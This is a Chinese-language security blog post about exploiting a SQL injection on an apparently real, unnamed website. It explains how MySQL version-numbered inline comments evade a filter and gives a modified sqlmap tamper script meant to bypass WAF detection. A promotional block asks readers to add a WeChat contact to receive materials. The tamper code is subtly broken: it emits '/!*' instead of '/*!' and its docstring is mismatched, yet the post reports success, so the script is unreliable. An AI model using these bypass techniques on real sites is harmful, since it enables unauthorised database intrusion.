头图

拿到这个网站,通过对比查询,我们发现

image

闭合参数 finsh 时,查询出的内容更多

image

经过进一步判断,确实存在漏洞

image

image

不过在测试的时候发现存在一定的过滤

image

但是可以通过内联注释进行绕过。

这里也是加深了解了内联注释的知识点,之前只会简单的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有这样一段解释,在 mysql 中 /*!...*/不是注释,mysql 为了保持兼容,它把一些特有的仅在 mysql 上用的语句放在 /*!...*/中,这样这些语句如果在其他数据库中是不会被执行,但是在 mysql 中它会执行。当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行,当后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。如下语句 /*!50001UniON SeLeCt*/ 这里的 50001 表示假如数据库的版本是 5.00.01 及其以上版本才会被使用。这里我们会产生一个疑问,数据库的版本也不仅仅是五位数字,也存在四位,甚至于三位,应该是会进行处理 5.7.23 也对应着 5.07.23

image

我们首先查询出数据库的版本信息

【----帮助网安学习,以下所有学习资料加vx:dctintin,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image

当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功

image

当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功

image

我们已经手工验证过了存在 SQL 注入漏洞,但是却无法利用 sqlmap 识别出联合注入,是因为存在检测,需要内联注释进行绕过

image

我们需要编写一个Tamper脚本

image

我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作

我们目前已经知道需要利用内联注释来实现绕过检测的操作

image

我们修改代码

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')

    >>> tamper("1' AND SLEEP(5)#")
    '1'/!*00000AND SLEEP(5)*/#'
    """
    if payload:
        replaced_text = payload
        replace_code = re.search(r"'(.*?)(#|--)", payload)
        if replace_code:
             replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
  
    return replaced_text

成功生效

image

更多网安技能的在线实操练习,请点击这里>>


蚁景网安实验室
53 声望45 粉丝

蚁景网安实验室(www.yijinglab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。